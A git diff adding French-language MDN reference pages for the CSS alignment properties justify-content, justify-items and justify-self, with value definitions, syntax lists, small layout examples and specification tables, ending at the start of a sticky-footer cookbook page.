+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Les éléments sont regroupés au début du conteneur selon l'axe principal. Le bord du premier élément est aligné avec le bord du conteneur.</dd>
+ <dt><code>end</code></dt>
+ <dd>Les éléments sont regroupés à la fin du conteneur selon l'axe principal. Le bord du dernier élément est aligné avec le bord du conteneur.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Les éléments sont regroupés vers le début du conteneur, selon l'axe principal et le sens du conteneur flexible.<br>
+ Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne sont pas dans un conteneur flexible, cette valeur est synonyme de <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Les éléments sont regroupés vers la fin du conteneur, selon l'axe principal et le sens du conteneur flexible.<br>
+ Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne sont pas dans un conteneur flexible, cette valeur est synonyme de <code>end</code>.</dd>
+ <dt><code>center</code></dt>
+ <dd>Les éléments sont regroupés au centre du conteneur selon l'axe principal.</dd>
+ <dt><code>left</code></dt>
+ <dd>Les éléments sont regroupés vers le bord gauche du conteneur. Si l'axe n'est pas parallèle à l'axe en ligne, cette valeur est synonyme de <code>start</code>.</dd>
+ <dt><code>right</code></dt>
+ <dd>Les éléments sont regroupés vers le bord droit du conteneur. Si l'axe n'est pas parallèle à l'axe en ligne, cette valeur est synonyme de <code>start</code>.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Les éléments sont groupés sur leur position par défaut, comme si <code>justify-content</code> n'avait pas été utilisé. Cette valeur se comporte comme <code>stretch</code> dans les conteneurs de grille et les conteneurs flexibles.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>Les éléments ont espacés équitablement selon l'axe principal. L'espace utilisé entre chaque élément est le même. Le premier élément est aligné sur le bord du conteneur et le dernier élément est aussi aligné sur le bord de l'élément.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Les éléments ont espacés équitablement selon l'axe principal. L'espace utilisé entre chaque élément est le même. L'espace entre le bord du conteneur et le premier élément et l'espace entre le dernier élément et le bord du conteneur représente la moitié de l'espace entre deux éléments.</dd>
+ <dt><code>space-evenly</code></dt>
+ <dd>Les éléments sont espacés équitablement. L'espace utilisé entre chaque élément, entre le bord du conteneur et le premier élément, et entre le dernier élément et le bord du conteneur est le même.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Si la somme des tailles des éléments sur l'axe principal est inférieure à la taille du conteneur, tous les éléments dimensionnés avec <code>auto</code> sont agrandis avec le même supplément, tout en respectant les contraintes imposées par {{cssxref("max-height")}}/{{cssxref("max-width")}} (ou par les fonctionnalités analogues). Ainsi, l'ensemble des éléments remplit exactement le conteneur sur l'axe principal.<br>
+ La valeur <code>stretch</code> n'est pas prise en charge pour les boîtes flexibles (<em>flexbox</em>)</dd>
+ <dt><code>safe</code></dt>
+ <dd>Cette valeur doit être utilisée avec un mot-clé pour l'alignement. Si le mot-clé choisi indique que le dépassement de l'objet entraîne la perte de donnée, alors l'élément sera plutôt aligné avec la valeur <code>start</code>.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Cette valeur doit être utilisée avec un mot-clé pour l'alignement. Quelle que soit la situation de dépassement ou les contraintes de taille, la valeur utilisée pour l'alignement est respectée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#container {
+  display: flex;
+  /* Cette valeur peut être changée dans l'exemple */
+  justify-content: space-between;
+}
+
+#container &gt; div {
+  width: 100px;
+  height: 100px;
+  background: linear-gradient(-45deg, #788cff, #b4c8ff);
+}
+</pre>
+
+<div class="hidden">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;
+&lt;select id="justifyContent"&gt;
+  &lt;option value="start"&gt;start&lt;/option&gt;
+  &lt;option value="end"&gt;end&lt;/option&gt;
+  &lt;option value="flex-start"&gt;flex-start&lt;/option&gt;
+  &lt;option value="flex-end"&gt;flex-end&lt;/option&gt;
+  &lt;option value="center"&gt;center&lt;/option&gt;
+  &lt;option value="left"&gt;left&lt;/option&gt;
+  &lt;option value="right"&gt;right&lt;/option&gt;
+  &lt;option value="baseline"&gt;baseline&lt;/option&gt;
+  &lt;option value="first baseline"&gt;first baseline&lt;/option&gt;
+  &lt;option value="last baseline"&gt;last baseline&lt;/option&gt;
+  &lt;option value="space-between" selected&gt;space-between&lt;/option&gt;
+  &lt;option value="space-around"&gt;space-around&lt;/option&gt;
+  &lt;option value="space-evenly"&gt;space-evenly&lt;/option&gt;
+  &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var justifyContent = document.getElementById("justifyContent");
+justifyContent.addEventListener("change", function (evt) {
+  document.getElementById("container").style.justifyContent =
+      evt.target.value;
+});
+</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#propdef-justify-content', 'justify-content')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Box Alignment', '#propdef-justify-content', 'justify-content')}}</td>
+   <td>{{Spec2('CSS3 Box Alignment')}}</td>
+   <td>Ajout des valeurs <code>space-evenly, [ first | last ]? baseline</code>, <code>start</code>, <code>end</code>, <code>left</code>, <code>right</code>, <code>safe</code> et <code>unsafe</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.justify-content.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_grilles">Prise en charge pour les grilles</h3>
+
+<p>{{Compat("css.properties.justify-content.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></em></li>
+ <li>Guide sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner des objets dans une grille</a></em></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+</ul>
diff --git a/files/fr/web/css/justify-items/index.html b/files/fr/web/css/justify-items/index.html
new file mode 100644
index 0000000000..862d8e697c
--- /dev/null
+++ b/files/fr/web/css/justify-items/index.html
@@ -0,0 +1,242 @@
+---
+title: justify-items
+slug: Web/CSS/justify-items
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/justify-items
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>justify-items</code></strong> définit la valeur par défaut de {{cssxref("justify-self")}} pour tous les éléments d'une boîte et permet ainsi de définir le comportement par défaut pour la justification des éléments d'une boîte le long de l'axe en ligne (c'est-à-dire l'axe correspondant au sens d'écriture).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/justify-items.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'effet de cette propriété sera différent selon le type de disposition utilisé :</p>
+
+<ul>
+ <li>Pour les dispositions de bloc : cette propriété aligne l'élément selon l'axe en ligne au sein du bloc englobant.</li>
+ <li>Pour les éléments positionnés de façon absolue : cette propriété aligne l'élément selon l'axe en ligne au sein du bloc englobant en prenant en compte les valeurs de décalage par rapport au haut, à la gauche, au bas et à la droite.</li>
+ <li>Pour les cellules de tableau, cette propriété est ignorée (<a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_bloc_absolue_tableau">en savoir plus</a>).</li>
+ <li>Pour les dispositions flexibles (<em>flexbox</em>), cette propriété est ignorée (<a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox">en savoir plus</a>).</li>
+ <li>Pour les grilles, cette propriété aligne l'élément sur la zone de la grille à laquelle il appartient selon l'axe en ligne (<a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_grille">en savoir plus</a>).</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Mots-clés de base */
+justify-items: auto;
+justify-items: normal;
+justify-items: stretch;
+
+/* Alignement par rapport à l'axe */
+justify-items: center;     /* Les éléments sont regroupés au centre */
+justify-items: start;      /* Les éléments sont regroupés au début  */
+justify-items: end;        /* Les éléments sont regroupés à la fin  */
+justify-items: flex-start; /* Les éléments sont regroupés au début de l'axe */
+justify-items: flex-end;   /* Les éléments sont regroupés à la fin de l'axe */
+justify-items: self-start;
+justify-items: self-end;
+justify-items: left;       /* Les éléments sont regroupés à gauche */
+justify-items: right;      /* Les éléments sont regroupés à droite */
+
+/* Alignement par rapport à la ligne de base */
+justify-items: baseline;
+justify-items: first baseline;
+justify-items: last baseline;
+
+/* Gestion du dépassement */
+justify-items: safe center;
+justify-items: unsafe center;
+
+/* Valeurs historiques */
+justify-items: legacy right;
+justify-items: legacy left;
+justify-items: legacy center;
+
+/* Valeurs globales */
+justify-items: inherit;
+justify-items: initial;
+justify-items: unset;
+</pre>
+
+<p>Cette propriété peut être définie selon trois formes différentes :</p>
+
+<ul>
+ <li>Grâce à un mot-clé : <code>normal</code>, <code>auto</code> ou <code>stretch</code>.</li>
+ <li>Relativement à la ligne de base : dans ce cas, on a le mot-clé <code>baseline</code> éventuellement suivi de <code>first</code> ou de <code>last</code></li>
+ <li>Grâce à un positionnement :
+  <ul>
+   <li>Un mot-clé parmi : <code>center</code>, <code>start</code>, <code>end</code>, <code>flex-start</code>, <code>flex-end</code>, <code>self-start</code>, <code>self-end</code>, <code>left</code> ou <code>right</code></li>
+   <li>Puis éventuellement <code>safe</code> ou <code>unsafe</code></li>
+  </ul>
+ </li>
+ <li>Grâce à un alignement tel que précédemment spécifié : le mot-clé<code> legacy</code> suivi de <code>left</code> ou de <code>right</code>.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La valeur utilisée est celle de la propriété <code>justify-items</code> pour la boîte parente. Si la boîte n'a pas de parent ou est positionnée de façon absolue, <code>auto</code> sera synonyme de <code>normal</code>.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé aura un sens différent selon le mode de disposition utilisé :
+ <ul>
+  <li>Pour une disposition en bloc, <code>normal</code> est synonyme de <code>start</code>.</li>
+  <li>Pour les dispositions avec un positionnment absolu, ce mot-clé se comporte comme <code>start</code> pour les boîtes des éléments remplacés ou comme <code>stretch</code> pour les autres boîtes positionnées de façon absolue.</li>
+  <li>Pour les dispositions des cellules de tableaux, ce mot-clé n'a pas de signification car cette propriété est ignorée.</li>
+  <li>Pour les dispositions qui utilisent les boîtes flexibles, ce mot-clé n'a pas de signification car cette propriété est ignorée<em>.</em></li>
+  <li>Pour les dispositions qui utilisent une grille, ce mot-clé aura un comportement proche de <code>stretch</code>, sauf pour les boîtes qui ont des dimensions intrinsèques, dans ce cas, il est synonyme de <code>start</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>start</code></dt>
+ <dd>Les éléments sont regroupés vers le début du conteneur pour l'axe en ligne.</dd>
+ <dt><code>end</code></dt>
+ <dd>Les éléments sont regroupés vers la fin du conteneur pour l'axe en ligne.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Les éléments sont regroupés vers le début du conteneur flexible pour l'axe en ligne.<br>
+ Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne font pas partie d'un conteneur flexible, cette valeur correspond à <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Les éléments sont regroupés vers la fin du conteneur flexible pour l'axe en ligne.<br>
+ Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne font pas partie d'un conteneur flexible, cette valeur correspond à <code>end</code>.</dd>
+ <dt><code>self-start</code></dt>
+ <dd>Les éléments sont alignés sur le bord du conteneur au début de l'axe en ligne.</dd>
+ <dt><code>self-end</code></dt>
+ <dd>Les éléments sont alignés sur le bord du conteneur à la fin de l'axe en ligne.</dd>
+ <dt><code>center</code></dt>
+ <dd>Les éléments sont regroupés au centre du conteneur dans le sens de l'axe en ligne.</dd>
+ <dt><code>left</code></dt>
+ <dd>Les éléments sont alignés vers la gauche du conteneur dans le sens de l'axe en ligne.</dd>
+ <dt><code>right</code></dt>
+ <dd>Les éléments sont alignés vers la droite du conteneur dans le sens de l'axe en ligne.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Ces valeurs permettent de définir l'alignement par rapport à la ligne de base pour l'élément du conteneur avec la ligne de base la plus haute ou la plus basse.<br>
+ Si <code>first baseline</code> n'est pas prise en charge, la valeur correspondra à <code>start</code>, si <code>last baseline</code> n'est pas prise en charge, la valeur correspondra à <code>end</code>.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Si la somme des tailles des éléments est inférieure à la taille du conteneur pour l'axe en ligne, les éléments dimensionnés automatiquement seront élargis de la même longueur tout en respectant les contraintes imposées par {{cssxref("max-height")}}/{{cssxref("max-width")}} (ou par les fonctionnalités équivalentes), afin que l'ensemble des éléments remplisse exactement le conteneur.</dd>
+ <dt><code>safe</code></dt>
+ <dd>Si la taille de l'élément dépasse du conteneur pour la valeur d'alignement indiquée, l'élément est alors aligné comme si la valeur <code>start</code> avait été utilisée.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Quelle que soit la taille de l'élément par rapport au conteneur (il peut dépasser), la valeur fournie pour indiquer l'alignement est respectée.</dd>
+ <dt><code>legacy</code></dt>
+ <dd>La valeur est héritée par les éléments descendants de la boîte. Si un élément descendant a <code>justify-self: auto</code>, le mot-clé <code>legacy</code> ne sera pas pris en compte mais uniquement la valeur <code>left</code>, <code>right</code>, ou <code>center</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<div id="alignment_8">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+  justify-items: start;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '500', '500')}}</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-justify-items", "justify-items")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.justify-items.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_grilles_CSS">Prise en charge pour les grilles CSS</h3>
+
+<p>{{Compat("css.properties.justify-items.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">L'alignement des boîtes avec les grilles CSS</a></li>
+ <li>La propriété {{cssxref("justify-self")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+ <li>La propriété raccourcie {{CSSxRef("place-items")}}</li>
+ <li>La propriété {{CSSxRef("align-items")}}</li>
+</ul>
diff --git a/files/fr/web/css/justify-self/index.html b/files/fr/web/css/justify-self/index.html
new file mode 100644
index 0000000000..d093566da0
--- /dev/null
+++ b/files/fr/web/css/justify-self/index.html
@@ -0,0 +1,221 @@
+---
+title: justify-self
+slug: Web/CSS/justify-self
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/justify-self
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>justify-self</code></strong> définit la façon dont une boîte est alignée sur l'axe en ligne du conteneur.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/justify-self.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'effet de cette propriété varie selon le mode de disposition utilisé :</p>
+
+<ul>
+ <li>Pour les dispositions de bloc : elle permet d'aligner un élément sur l'axe en ligne par rapport à son bloc englobant.</li>
+ <li>Pour les éléments positionnés de façon absolue : elle permet d'aligner un élément dans le bloc englobant par rapport à l'axe en ligne en prenant en compte les valeurs de décalage pour les côtés haut, gauche, bas et droit.</li>
+ <li>Pour les dispositions des cellules de tableau : cette propriété est ignorée (<a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_bloc_absolue_tableau">en savoir plus</a>).</li>
+ <li>Pour les dispositions flexibles : cette propriété est ignorée (<a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox">en savoir plus</a>).</li>
+ <li>Pour les dispositions avec les grilles : cette propriété permet d'aligner un objet sur l'axe en ligne sur la zone de grille à laquelle il appartient (<a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_grille">en savoir plus</a>).</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Mots-clés de base */
+justify-self: auto;
+justify-self: normal;
+justify-self: stretch;
+
+/* Alignement par rapport à l'axe */
+justify-self: center;     /* L'élément est aligné au centre */
+justify-self: start;      /* L'élément est aligné au début  */
+justify-self: end;        /* L'élément est aligné à la fin  */
+justify-self: flex-start; /* L'élément est aligné au début de l'axe */
+justify-self: flex-end;   /* L'élément est aligné à la fin de l'axe */
+justify-self: self-start;
+justify-self: self-end;
+justify-self: left;       /* L'élément est aligné à gauche */
+justify-self: right;      /* L'élément est aligné à droite */
+
+/* Alignement par rapport à la ligne de base */
+justify-self: baseline;
+justify-self: first baseline;
+justify-self: last baseline;
+
+/* Gestion du dépassement */
+justify-self: safe center;
+justify-self: unsafe center;
+
+/* Valeurs globales */
+justify-self: inherit;
+justify-self: initial;
+justify-self: unset;
+</pre>
+
+<p>Cette propriété peut être définie selon trois formes différentes :</p>
+
+<ul>
+ <li>Grâce à un mot-clé : <code>normal</code>, <code>auto</code> ou <code>stretch</code>.</li>
+ <li>Relativement à la ligne de base : dans ce cas, on a le mot-clé <code>baseline</code> éventuellement suivi de <code>first</code> ou de <code>last</code></li>
+ <li>Grâce à un positionnement :
+  <ul>
+   <li>Un mot-clé parmi : <code>center</code>, <code>start</code>, <code>end</code>, <code>flex-start</code>, <code>flex-end</code>, <code>self-start</code>, <code>self-end</code>, <code>left</code> ou <code>right</code></li>
+   <li>Puis éventuellement <code>safe</code> ou <code>unsafe</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La valeur utilisée est celle de la propriété <code>justify-items</code> définie pour la boîte parente. Si la boîte n'a pas de parent ou est positionnée de façon absolue, <code>auto</code> sera synonyme de <code>normal</code>.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Ce mot-clé aura un sens différent selon le mode de disposition utilisé :
+ <ul>
+  <li>Pour une disposition en bloc, <code>normal</code> est synonyme de <code>start</code>.</li>
+  <li>Pour les dispositions avec un positionnment absolu, ce mot-clé se comporte comme <code>start</code> pour les boîtes des éléments remplacés ou comme <code>stretch</code> pour les autres boîtes positionnées de façon absolue.</li>
+  <li>Pour les dispositions des cellules de tableaux, ce mot-clé n'a pas de signification car cette propriété est ignorée.</li>
+  <li>Pour les dispositions qui utilisent les boîtes flexibles, ce mot-clé n'a pas de signification car cette propriété est ignorée<em>.</em></li>
+  <li>Pour les dispositions qui utilisent une grille, ce mot-clé aura un comportement proche de <code>stretch</code>, sauf pour les boîtes qui ont des dimensions intrinsèques, dans ce cas, il est synonyme de <code>start</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>start</code></dt>
+ <dd>L'élément est aligné vers le début du conteneur pour l'axe en ligne.</dd>
+ <dt><code>end</code></dt>
+ <dd>L'élément est aligné vers la fin du conteneur pour l'axe en ligne.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>L'élément est aligné vers le début du conteneur flexible pour l'axe en ligne.<br>
+ Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne font pas partie d'un conteneur flexible, cette valeur correspond à <code>start</code>.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>L'élément est aligné vers la fin du conteneur flexible pour l'axe en ligne.<br>
+ Cette valeur ne s'applique qu'aux éléments flexibles. Pour les éléments qui ne font pas partie d'un conteneur flexible, cette valeur correspond à <code>end</code>.</dd>
+ <dt><code>self-start</code></dt>
+ <dd>L'élément est aligné sur le bord du conteneur au début de l'axe en ligne.</dd>
+ <dt><code>self-end</code></dt>
+ <dd>L'élément est aligné sur le bord du conteneur à la fin de l'axe en ligne.</dd>
+ <dt><code>center</code></dt>
+ <dd>L'élément est aligné au centre du conteneur dans le sens de l'axe en ligne.</dd>
+ <dt><code>left</code></dt>
+ <dd>L'élément est aligné vers la gauche du conteneur dans le sens de l'axe en ligne.</dd>
+ <dt><code>right</code></dt>
+ <dd>L'élément est aligné vers la droite du conteneur dans le sens de l'axe en ligne.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Ces valeurs permettent de définir l'alignement par rapport à la ligne de base pour l'élément du conteneur avec la ligne de base la plus haute ou la plus basse.<br>
+ Si <code>first baseline</code> n'est pas prise en charge, la valeur correspondra à <code>start</code>, si <code>last baseline</code> n'est pas prise en charge, la valeur correspondra à <code>end</code>.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Si la somme des tailles des éléments est inférieure à la taille du conteneur pour l'axe en ligne, les éléments dimensionnés automatiquement seront élargis de la même longueur tout en respectant les contraintes imposées par {{cssxref("max-height")}}/{{cssxref("max-width")}} (ou par les fonctionnalités équivalentes), afin que l'ensemble des éléments remplisse exactement le conteneur.</dd>
+ <dt><code>safe</code></dt>
+ <dd>Si la taille de l'élément dépasse du conteneur pour la valeur d'alignement indiquée, l'élément est alors aligné comme si la valeur <code>start</code> avait été utilisée.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Quelle que soit la taille de l'élément par rapport au conteneur (il peut dépasser), la valeur fournie pour indiquer l'alignement est respectée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<div id="alignment_8">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(2, 100px);
+  grid-template-rows: repeat(2,100px);
+  height: 300px;
+  width: 300px;
+  grid-gap: 10px;
+  align-content: space-between;
+}
+.item1 {
+  justify-self: start;
+}
+.item3 {
+  justify-self: end;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '300', '300')}}</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box Alignment', '#propdef-justify-slef', 'justify-self')}}</td>
+   <td>{{Spec2('CSS3 Box Alignment')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexiblesflexbox">Prise en charge pour les dispositions flexibles/<em>flexbox</em></h3>
+
+<p>{{Compat("css.properties.justify-self.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_grilles_CSS">Prise en charge pour les grilles CSS</h3>
+
+<p>{{Compat("css.properties.justify-self.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">L'alignement des boîtes avec les grilles CSS</a></li>
+ <li>La propriété {{cssxref("justify-items")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/bas_de_page_adhérant/index.html b/files/fr/web/css/layout_cookbook/bas_de_page_adhérant/index.html
new file mode 100644
index 0000000000..be032d79cd
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/bas_de_page_adhérant/index.html
@@ -0,0 +1,73 @@
+---
+title: Bas de page adhérant
+slug: Web/CSS/Layout_cookbook/Bas_de_page_adhérant
+tags:
+  - CSS
+  - Guide
+  - Recette
+translation_of: Web/CSS/Layout_cookbook/Sticky_footers
+---
+<div>{{CSSRef}}</div>
+
